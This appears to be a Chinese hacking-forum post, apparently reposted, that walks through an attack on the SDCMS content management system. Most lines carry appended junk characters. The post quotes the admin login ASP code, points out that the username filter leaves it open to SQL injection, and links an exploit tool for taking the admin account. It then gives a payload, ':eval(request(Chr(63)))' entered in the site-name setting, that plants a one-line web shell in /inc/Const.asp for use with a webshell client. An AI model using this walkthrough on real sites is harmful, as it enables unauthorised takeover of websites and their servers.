作者:T00LS 鬼哥
; J& O: a, y/ o7 ]# A+ Q漏洞文件:后台目录/index.asp! {& D2 b" U' K1 [! N" Q
9 G5 @0 f% u; b( k/ F+ WSub Check2 Y+ g2 a3 s; {! U4 @( ]! b! V, W
Dim username,password,code,getcode,Rs
: U4 Q# b/ t8 v$ }. n* q IF Check_post Then Echo "1禁止从外部提交数据!":Exit Sub+ V4 X5 h. B$ G
username=FilterText(Trim(Request.Form("username")),1)9 R; Z! V% c |* }% ]2 \
password=FilterText(Trim(Request.Form("password")),1)2 B7 ^( X- h2 C: E. h1 e
code=Trim(Request.Form("yzm"))
$ x# G& l2 u& u% t s getcode=Session("SDCMSCode")
) G% N' }' \+ U9 a, C6 z IF errnum>=loginnum Then Echo "系统已禁止您今日再登录":died6 M0 G' h. ]! B) d* R0 l
IF code="" Then Alert "验证码不能为空!","javascript:history.go(-1)" ied# p" K* E4 Y+ T
IF code<>"" And Not Isnumeric(code) Then Alert "验证码必须为数字!","javascript:history.go(-1)" ied
9 B' R: S; v+ s5 `9 d- w IF code<>getcode Then Alert "验证码错误!","javascript:history.go(-1)" ied+ x7 Y2 C1 T4 e- l& Y
IF username="" or password="" Then
5 v) n! s8 U5 K5 D Echo "用户名或密码不能为空" ied U# E" w& Y% a" @, e# Q
Else
6 x5 L, x i4 J2 ]9 @$ ~) Z Set Rs=Conn.Execute("Select Id,Sdcms_Name,Sdcms_Pwd,isadmin,alllever,infolever From Sd_Admin Where Sdcms_name='"&username&"' And Sdcms_Pwd='"&md5(password)&"'"). Q! r; |$ Q& M$ `8 {; l5 S8 Z
IF Rs.Eof Then% a! e+ W( u3 N& j0 c; p
AddLog username,GetIp,"登录失败",1& ~' d& L& B4 D! f7 ?- e' S
Echo "用户名或密码错误,今日还有 "&loginnum-errnum&" 次机会"! g' g' r0 L( P) R) I' o* P! V' w# B
Else
" I7 z9 Y: W p" [ Add_Cookies "sdcms_id",Rs(0)
! q1 o6 `5 ^- q, |& ?* v" t Add_Cookies "sdcms_name",username% l; ^2 |! H/ J$ V0 ]+ d/ t
Add_Cookies "sdcms_pwd",Rs(2)
4 z$ l$ W" Q2 @' M, f Add_Cookies "sdcms_admin",Rs(3)( U+ n! L" e. z; N r
Add_Cookies "sdcms_alllever",Rs(4)
) T# b7 x- X7 w* ~( I B Add_Cookies "sdcms_infolever",Rs(5)
2 ]. ]/ |( `. D! T7 _; Q* s Conn.Execute("Update Sd_Admin Set logintimes=logintimes+1,LastIp='"&GetIp&"' Where id="&Rs(0)&"")0 `3 N6 f3 H* t1 T7 N# C
AddLog username,GetIp,"登录成功",15 T6 _# T5 Q. i9 H7 | L
'自动删除30天前的Log记录
. E' l* }6 d# l8 P0 m& z IF Sdcms_DataType Then0 H4 t$ T# S+ i6 a9 Y
Conn.Execute("Delete From Sd_Log Where DateDiff('d',adddate,Now())>30"), T" ?3 X/ p' |
Else
$ _* B& H9 G% b. x Conn.Execute("Delete From Sd_Log Where DateDiff(d,adddate,GetDate())>30")! z* Q9 Y9 L; Q5 W' s- F
End IF
0 C2 x8 C2 }/ h' E% | { Go("sdcms_index.asp")4 {+ t2 V, x2 {! E. |
End IF
$ t% ~ r1 O9 a2 g( p( c# f Rs.Close' s4 x( A$ Y0 C* E6 j0 ?
Set Rs=Nothing
0 }3 p; v( W* q) z3 ?8 w End IF
% T. P- X7 f2 h( t* C0 O3 lEnd Sub
, H; d' S3 V( F7 u$ L$ ]! x' e
$ D) K% `3 |9 M( \. _’我们可以看到username是通过FilterText来过滤的。我们看看FilterText的代码5 N' V& X% G) f' \3 o8 ]) L' Q
* S' L: j! E# a' G( d
Function FilterText(ByVal t0,ByVal t1)
& f; I+ Z9 h, o; t! X IF Len(t0)=0 Or IsNull(t0) Or IsArray(t0) Then FilterText="":Exit Function$ i& a8 O0 }4 |6 V0 A6 Y- z
t0=Trim(t0)4 r0 F, W4 v+ E- d) R
Select Case t10 R) p5 W& {) J' m0 ~$ @
Case "1"
4 i) t( k; r+ M/ Z$ `! g1 u t0=Replace(t0,Chr(32),""), | v, e2 N# @
t0=Replace(t0,Chr(13),"")) E2 k: E( e: \; ]
t0=Replace(t0,Chr(10)&Chr(10),"")
I9 a7 c( x: \" [ X t0=Replace(t0,Chr(10),"")
( m, q7 {- p1 e7 g/ l Case "2"
/ H& T; ~; ]( ]; x t0=Replace(t0,Chr(8),"")'回格
) h/ D7 e% I& G* I& ?+ U! ? t0=Replace(t0,Chr(9),"")'tab(水平制表符)
' q& I2 ?) h( j t0=Replace(t0,Chr(10),"")'换行
$ r% d# F% R0 W0 m( ^. X/ R: n t0=Replace(t0,Chr(11),"")'tab(垂直制表符)
, `- G" U$ w9 I3 }6 A6 ?/ X t0=Replace(t0,Chr(12),"")'换页
! e! Y! \' [5 |, p- U t0=Replace(t0,Chr(13),"")'回车 chr(13)&chr(10) 回车和换行的组合1 @+ Z, O b: v) B8 d, I" L
t0=Replace(t0,Chr(22),"")
/ l5 _8 f) N: a9 A/ f) n' x7 ~ t0=Replace(t0,Chr(32),"")'空格 SPACE
. @2 \' p* Y2 f2 w. D t0=Replace(t0,Chr(33),"")'!+ |! s' s' U& A3 a6 B4 g6 S
t0=Replace(t0,Chr(34),"")'"
. t; x! D+ K N4 t8 D t0=Replace(t0,Chr(35),"")'#$ Y9 }( g4 Z6 v7 V# Q! t! I/ ?
t0=Replace(t0,Chr(36),"")'$; {1 Z4 H1 C/ t( @2 P2 J
t0=Replace(t0,Chr(37),"")'%0 b4 w9 X% j$ b+ Z. ?
t0=Replace(t0,Chr(38),"")'&& |7 `9 x% l) B) u
t0=Replace(t0,Chr(39),"")''
4 T. r% ~6 k A! o- A! j9 K, R5 y t0=Replace(t0,Chr(40),"")'(
( }2 R1 e* z9 k- I t0=Replace(t0,Chr(41),"")')
! S7 {: S7 ?9 ^: Q% ]& I# j t0=Replace(t0,Chr(42),"")'*% }8 W( G- {2 b* @! L0 g
t0=Replace(t0,Chr(43),"")'+
$ f0 b$ i5 \1 E3 `& ~ t0=Replace(t0,Chr(44),"")',
7 f4 W& X& D9 u7 ], ^- F5 R6 d t0=Replace(t0,Chr(45),"")'-
" t: z" M+ B, \) L; u1 ] t0=Replace(t0,Chr(46),"")'.
4 s- M! r, \- q1 z% L5 h3 }3 q t0=Replace(t0,Chr(47),"")'/+ U5 g0 a/ G, I- F' Q" t! Z7 ~ w4 a1 P
t0=Replace(t0,Chr(58),"")':* s; a9 O( |7 ~; q+ C3 W
t0=Replace(t0,Chr(59),"")';) E+ A' D8 c1 c; f2 o
t0=Replace(t0,Chr(60),"")'< t0=Replace(t0,Chr(61),"")'= t0=Replace(t0,Chr(62),"")'>
3 [ S" R6 x4 b& K3 i3 q t0=Replace(t0,Chr(63),"")'?
0 G% q# X, o7 Y! \! e Q t0=Replace(t0,Chr(64),"")'@
# S: w7 E+ @% F. p t0=Replace(t0,Chr(91),"")'\2 x8 F1 P* G; s X# }
t0=Replace(t0,Chr(92),"")'\
1 A' `5 s0 [7 {9 P) l t0=Replace(t0,Chr(93),"")']
% {) l3 v$ y) C% t: Y7 l/ J }* T t0=Replace(t0,Chr(94),"")'^2 u* [" n. w0 s- a9 k
t0=Replace(t0,Chr(95),"")'_% |, N5 h' k1 t0 W5 A
t0=Replace(t0,Chr(96),"")'`1 Z7 Z2 k# i9 w( v1 `
t0=Replace(t0,Chr(123),"")'{; v$ K% E" t/ s1 A b& v- N
t0=Replace(t0,Chr(124),"")'|
0 H2 n8 Y* A2 F6 `$ N t0=Replace(t0,Chr(125),"")'}
$ ^" U; ~ f' L t0=Replace(t0,Chr(126),"")'~
8 ~) ~# s8 B8 V) _8 r$ Y1 N0 I; G Case Else' t/ V! }5 ~9 C- Y/ C5 u
t0=Replace(t0, "&", "&")
- ^; N' n! z' l; G# H$ I4 K: O0 {6 f t0=Replace(t0, "'", "'")
( _1 M$ F4 |; d! M8 O7 t$ ] t0=Replace(t0, """", """)
2 h1 R+ A3 F/ J: ]$ v t0=Replace(t0, "<", "<") t0=Replace(t0, ">", ">")5 c0 s0 [3 G( V
End Select3 M4 I. ~$ g* d! n+ G7 M
IF Instr(Lcase(t0),"expression")>0 Then' E8 t, C# e/ [2 a
t0=Replace(t0,"expression","e­xpression", 1, -1, 0)
9 ]) E) g$ |# K1 p d+ r# ] End If& y; r, `8 ?) r- ]. L) z
FilterText=t0
g- F1 e, @$ f& G* u$ t5 XEnd Function
- n T9 U6 m$ C# s
) k. L4 D2 G$ B5 H7 P- p, |% `: S9 G4 ?看到没。直接参数是1 只过滤
* [4 O1 e; G, _8 W t0=Replace(t0,Chr(32)," ")' U) e- H4 ~" _: d' w7 O
t0=Replace(t0,Chr(13),"")7 o, w( ?3 h! w
t0=Replace(t0,Chr(10)&Chr(10),"3 u* i& w, f+ b
")% T( J* }) ` w' I5 r
t0=Replace(t0,Chr(10)," i d4 x. \# ~$ V& W1 b" P
")$ | [8 \ ?* c, e+ V$ ]1 I+ y
漏洞导致可以直接拿到后台帐号密码。SDCMS默认后台地址/admin/如果站长改了后台路径,那么请自行查找!$ V+ B3 a) \9 O0 L
EXP利用工具下载 (此工具只能在XP上运行):sdcms-EXP! t8 V t+ N5 U" H# B' ]
. x; @% {/ A+ k! i# {% d测试:
2 v5 _* u' c# f
9 r- T( u$ i$ b/ I% ` F
. S$ M! x3 n: O3 r+ g/ h+ q2 _/ V( f现在输入工具上验证码,然后点OK& n( `8 d2 S$ w- P
; s# O9 Q! b% [+ b$ w
1 }7 B) Z" e6 j4 j& ~# F$ ?
看到我们直接进入后台管理界面了,呵呵!
: N3 O y3 f& m( @1 H+ q) b& ]* h8 \4 u- m/ i
t w3 z' `( T7 H9 J+ v0 k! V; q2 @
这样直接进入后台了。。。。
- t: u! q& K' ?& u8 Y) r' G3 P8 w I1 |, i" J% V* g$ _
+ d7 S F4 E! X$ p' @5 H' w0 L3 R. t4 g# L
SDCMS提权:
3 M& h+ L2 h4 z% x) B: A+ A$ _* N8 ~+ m2 }
方法1:访问:/后台目录/sdcms_set.asp 在 网站名称:后面加个 “:eval(request(Chr(63)))’ 即可,直接写一句话进去。 写入到/inc/Const.asp 一句话连接密码是?, A* \( F) w1 G' H, v
/ J' J* u# w/ `9 `
9 g6 ]1 g' d" I g2 B
, F. z# x0 W! [1 EOK,现在用菜刀连接下!
1 R, O6 W6 Y% r8 o \ G1 X3 o7 J$ W5 `2 T) \
2 a0 X6 O. C! f: M
+ C b- R. c$ ~6 @: s
+ |: K7 f5 p3 O9 _; ]
& {% r1 X! h0 h" w/ \ |